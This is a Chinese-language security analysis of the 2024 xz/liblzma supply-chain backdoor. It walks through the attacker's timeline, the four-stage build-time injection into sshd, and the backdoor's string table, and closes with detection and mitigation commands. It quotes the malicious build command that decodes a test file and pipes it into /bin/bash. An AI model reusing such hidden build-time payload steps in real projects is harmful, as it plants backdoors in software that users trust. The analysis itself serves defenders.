Linux | xz/liblzma库供应链攻击事件分析

admin 2024年4月22日03:10:52评论4 views字数 5629阅读18分45秒阅读模式

2024年3月29日,微软PostgreSQL开发人员Andres Freund在调查SSH性能问题时,发现xz库供应链攻击事件并报告给 oss-security。

攻击者Jia Tan( JiaT75 ) 于 2021 年注册了 GitHub 账号,之后积极参与 XZ Utils 项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。JiaT75 在最近几个月的一次 commit 中,提交了恶意bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma的二进制测试文件,在编译链接的脚本中,特定条件下从这两个文件中恶意代码并植入,致使编译结果和公开的源代码不一致。

最终攻击者可以通过特定的数据包,绕过ssh登录认证,获取远程初始访问以及远程命令执行权限。

1.时间线

  • 2021/01,攻击者Jia Tan注册GitHub账号(JiaT75)

  • 2022/10,Jia Tan加入Tukaani项目组

  • 2023,Jia Tan获取信任,拥有xz项目提交代码的权限

  • 2024/03/08-03/20,提交恶意的bad-3-corrput_lzma2.xz和good-large_compressed.lzma测试文件

  • 2024/03/29,微软PostgreSQL开发人员Andres Freund发现sshd的CPU占用率异常,发现xz/liblzma模块存在后门,并向oss-security报告此事。

2.攻击链路

xz库供应链攻击攻击事件,攻击链路如下:

  • 第一阶段,恶意的build-to-host.m4编译宏还原恶意bad-3-corrupt_lzma2.xz数据,解压并执行下阶段载荷脚本

  • 第二阶段,恶意脚本还原good-large_compressed.lzma数据,解压并执行下阶段载荷脚本

  • 第三阶段,恶意脚本进行环境检查,提取预编译的64位liblzma_la-crc64-fast.o模块,修改crc64_fast.c源代码文件内容,注入恶意代码

  • 第四阶段,恶意liblzma_la-crc64-fast.o链接生成恶意liblzma.so.5,动态链接到sshd程序,完成最终攻击链路

攻击链路图如下:

Linux | xz/liblzma库供应链攻击事件分析

2.1 第一阶段m4编译宏脚本

        恶意的build-to-host.m4编译宏文件中,包含grep命令通过正则#{4}[[:alnum:]]{5}#{4}$匹配包含特定字符串(####Hello####)的文件名,即下阶段载荷的bad-3-corrupt_lzma2.xz文件。

Linux | xz/liblzma库供应链攻击事件分析

sed命令将.前字符替换为空,得到文件后缀名xz,为了后续xz字符串拼接xz -d解压命令。

Linux | xz/liblzma库供应链攻击事件分析

通过tr "t -_" " t_-",修改bad-3-corrupt_lzma2文件。
  • 水平制表符替换为空格

  • 空格替换为水平制表符

  • 减号替换为下划线

  • 下划线替换为减号

Linux | xz/liblzma库供应链攻击事件分析

最终下面命令转化后,实际执行内容为,替换字符串,解压后执行下阶段恶意内容:sed "rn" ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d | /bin/bash >/dev/null 2>&1

Linux | xz/liblzma库供应链攻击事件分析

2.2 第二阶段恶意脚本

第二阶段恶意脚本执行流程如下:

  • 通过config.status文件,获取项目根目录

  • 定义i变量,重复执行head命令来生成一个特定长度的输出

  • xz命令解压good-large_compressed.lzma文件后,先丢弃前1024个字节,然后输出接下来的2048个字节,然后再丢弃1024个字节,再输出2048个字节,如此循环多次,直到最后输出939个字节停止

  • tr命令替换特定范围的字符为0x00到0xFF

  • xz命令解压替换后的数据并执行下阶段载荷脚本

Linux | xz/liblzma库供应链攻击事件分析

2.3 第三阶段恶意脚本

第三阶段恶意脚本执行流程如下:

  • 对系统环境进行检查,若条件不成立则退出该流程。

  • 通过对good-large_compressed.lzma数据进行解压后截取数据,生成恶意的liblzma_la-crc64-fast.o文件,

  • 修改crc64_fast.c源代码文件内容调用liblzma_la-crc64-fast.o恶意函数,实现恶意代码注入。

xz命令解压good-large_compressed.lzma文件并将解压缩的内容输出到标准输出。使用sed命令将每个字符后面加上换行符(sed "s/(.)/1n/g")。

awk命令进行一系列复杂的操作,包括置换、代换等解密操作,再次使用xz命令解压缩处理后的内容。

最后根据条件截取前88792个字节或者0个字节处理后的内容,并将结果输出到liblzma_la-crc64-fast.o文件中,无论前面的命令是否成功,都将返回true。

Linux | xz/liblzma库供应链攻击事件分析

变量V保存恶意_is_arch_extension_supported()内联函数的定义,中增加了调用恶意的liblzma_la-crc64-fast.o文件中的导出_get_cpuid()函数的部分。

Linux | xz/liblzma库供应链攻击事件分析

正规格式后的恶意代码:

Linux | xz/liblzma库供应链攻击事件分析

攻击者利用GLIBC IFUNC(Indirect Function)特性,该特性允许开发者为同一个函数接口提供多个实现版本,并且能够在程序运行时判断最优系统环境及条件,动态选择最合适的版本来执行。

攻击者将crc64_fast.c,crc32_fast.c文件中调用is_arch_extension_supported()函数的代码,替换为调用恶意的_is_arch_extension_supported()内联函数,添加变量V中保存的恶意内联函数的定义代码。

根据sed和$CC等编译环境命令的执行结果来确定是否执行以上替换的操作。

Linux | xz/liblzma库供应链攻击事件分析

2.4 第四阶段恶意目标文件

分析恶意liblzma_la-crc64-fast.o目标文件的导出_get_cpuid()函数,调用sub_A750()函数。

Linux | xz/liblzma库供应链攻击事件分析

分析sub_A750()函数,liblzma库利用GCC IFUNC技术,在加载时加载器会调用resolver函数,crc32_resolve()和crc64_resolve()这两个函数均会调用_get_cpuid()。

crc32_resolve()调用时,dword_CB60由0变为1。

crc64_resolve()调用时,dword_CB60为1,后门程序会执行Llzma_block_param_encoder_0()函数。

Linux | xz/liblzma库供应链攻击事件分析

分析Llzma_block_param_encoder_0()函数,发现可疑的Llzma_block_buffer_decode_0指针。

Linux | xz/liblzma库供应链攻击事件分析

跟进Llzma_block_buffer_decode_0 + 2指针,发现记录的是_Llzma_delta_props_encoder()函数地址。

Linux | xz/liblzma库供应链攻击事件分析

分析Llzma_delta_props_encoder()函数,先调用Llzma_delta_decoder_init_part_0()函数。

Linux | xz/liblzma库供应链攻击事件分析

Llzma_delta_decoder_init_part_0()函数,包含恶意操作的核心函数列表,例如GOT Hook、系统调用函数执行命令等。(下面解释如何执行系统调用)

Linux | xz/liblzma库供应链攻击事件分析

返回Llzma_delta_props_encoder()函数分析,之后调用Lmicrolzma_encoder_init_1()函数,最终调用sub_3A10()函数。

Linux | xz/liblzma库供应链攻击事件分析

sub_3A10()函数检查当前进程是否为/usr/bin/sshd,通过环境检查后执行后续恶意操作。其中Lsimple_coder_update_0()函数功能为字符串检测自动机返回字符串 ID。如果指针中没有检测到已知字符串,则返回 0,否则返回字符串 ID。

Linux | xz/liblzma库供应链攻击事件分析

检索的字符串ID包含write、system、shutdown等关键指令,部分关键字符串ID与指令对应,如下表:
字符串ID 字符串
0x9f8 'systemx00'
0x760 'shutdownx00'
0x198 'unknownx00'
0xb10 'user'
0x380 'writex00'
0x108 '/usr/sbin/sshdx00'
0x10 'xcalloc: zero sizex00'
0xb00 'yolAbejyiejuvnup=Evjtgvsh5okmkAvjx00'
0x300 'x7fELF'
0x678 ' ssh2'
0xd8 '%.48s:%.48s():%d (pid=%ld)x00'
0x708 '%s'
0x870 'Accepted password for '
0x1a0 'Accepted publickey for '
0x8c0 'GLIBC_2.2.5x00'
0x6a8 'GLRO(dl_naudit) <= nauditx00'
0x1e0 'KRB5CCNAMEx00'
0xcf0 'LD_AUDIT='
0xbc0 'LD_BIND_NOT='
0xa90 'LD_DEBUG='
0xb98 'LD_PROFILE='
0x3e0 'LD_USE_LOAD_BIAS='
0xa88 'LINES='
0xac0 'RSA_freex00'
0x798 'RSA_get0_keyx00'
0x918 'RSA_newx00'
0x1d0 'RSA_public_decryptx00'
0x540 'RSA_set0_keyx00'
0x8f8 'RSA_signx00'
0x990 'SSH-2.0'
0x4a8 'TERM='
0x8a8 '_exitx00'
0xb8 'auth_root_allowedx00'
0x1d8 'authenticating'
0x28 'demote_sensitive_datax00'
0x348 'getuidx00'
0xa48 'ld-linux-x86-64.so'
0x7d0 'libc.so'
0x7c0 'libcrypto.so'
0x590 'liblzma.so'
0x938 'libsystemd.so'
0x20 'list_hostkey_typesx00'
0x440 'malloc_usable_sizex00'
0xc58 'parse PAMx00'
0x400 'passwordx00'
0x4f0 'preauth'
0x690 'pselectx00'
0x7b8 'publickeyx00'
0x308 'readx00'
0x710 'rsa-sha2-256x00'
0x428 'setlogmaskx00'
0x5f0 'setresgidx00'
0xab8 'setresuidx00'
0xd08 'ssh-2.0'
0x88 'sshpam_auth_passwdx00'
0x90 'sshpam_queryx00'
0x80 'sshpam_respondx00'
0x98 'start_pamx00'

liblzma 有一个内存分配层,其中利用lzma_alloc()和lzma_free()函数来调用分配器对象中的函数指针。

lzma_alloc()用来查找符号而不是分配,字符串 ID作为大小来查找函数指针,并且lzma_free()在释放时不执行任何操作。对于这个假分配器,其中某个成员指向内部 ELF 模块描述符记录。

通过对lzma_alloc()函数交叉引用搜索,发现几处获取关键函数指针赋值给全局ctx结构体:

Lmicrolzma_encoder_init_1()函数 ——> Llzma_delta_props_encode_part_0()函数中获取exit/setresgid/setresuid/system函数地址,保存在ctx对象中。

Linux | xz/liblzma库供应链攻击事件分析Linux | xz/liblzma库供应链攻击事件分析

3.总结

此次供应链攻击事件,利用了GCC IFUNC机制,在程序正常的执行流程中,crc32_resolve()和crc64_resolve()函数,先后调用_get_cpuid()函数。恶意代码仅在_get_cpuid()函数第二次被调用时,才开始初始化,为了只影响特定的64位Linux系统。

当系统满足初始化条件,恶意代码通过直接修改内存中的数据结构,劫持程序的正常执行流程:

  • 利用lzma_alloc()函数获取系统调用或关键函数地址指针,赋值给全局上下文结构体(ctx)

  • 替换原始关键函数地址的指针,cpuid()函数的修改全局偏移表(GOT)条目为指向恶意函数地址的指针。

最终完成远程访问控制和远程代码执行的攻击。

4.检测方法

此次攻击事件只影响X86 64位Linux系统,检测xz版本是否为受影响的版本(5.6.0 或 5.6.1)。
xz --version | grep '5.6.[01]'
检测liblzma是否包含恶意的_get_cpu()函数。
#! /bin/bashset -eu# find path to liblzma used by sshdpath="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"# does it even exist?if [ "$path" == "" ]then  echo probably not vulnerable  exitfi# check for function signatureif hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then  echo probably vulnerableelse  echo probably not vulnerablefi

5.缓解措施

重新安装低版本xz程序。
sudo apt install xz-utils=5.2.5

reference

  • https://openwall.com/lists/oss-security/2024/03/29/4

  • https://github.com/karcherm/xz-malware

原文始发于微信公众号(TahirSec):Linux | xz/liblzma库供应链攻击事件分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日03:10:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux | xz/liblzma库供应链攻击事件分析https://cn-sec.com/archives/2631739.html

发表评论

匿名网友 填写信息